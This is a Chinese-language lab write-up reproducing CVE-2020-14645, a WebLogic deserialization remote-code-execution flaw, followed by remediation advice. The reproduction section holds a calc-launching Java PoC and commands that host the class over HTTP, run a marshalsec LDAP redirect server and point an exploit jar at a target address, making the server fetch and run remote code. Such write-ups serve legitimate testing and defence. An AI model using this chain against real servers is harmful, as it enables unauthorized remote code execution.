0x01 简介
WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
0x02 漏洞概述
攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。 构造chain类似于common-collection的chain,可以照葫芦画瓢。
mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。
反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。
0x03 影响版本
Oracle Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 14.1.1.0.0
0x04 环境搭建
JDK Version < JDK6u211/7u201/8u191
Weblogic Version 12.2.1.4.0
java -version
javac -version
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
0x05 漏洞复现
目标192.168.132.171:7001
public class exp{
// POC open calc
public exp(){
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
exp e = new exp();
}
}
javac poc.java
python3 -m http.server 5001
marshalsec 下载及使用方式
https://github.com/ianxtianxt/marshalsec
自行编译marshalsec的jar包:
mvn clean package -DskipTests
启动ldap服务,具体启动参数的介绍,查看作者的介绍。
java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP:port/#exp 5002
https://github.com/DSO-Lab/Weblogic_CVE-2020-14645
java -jar CVE-2020-14645.jar LDAP服务器IP:port/#exp http://192.168.132.171:7001
0x06 修复方式
1、安装官方补丁
https://www.oracle.com/security-alerts/cpujul2020.html
2、限制T3访问来源
漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。
3、禁用IIOP协议
可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html
参考链接:
https://github.com/ianxtianxt/marshalsec
https://github.com/DSO-Lab/Weblogic_CVE-2020-14645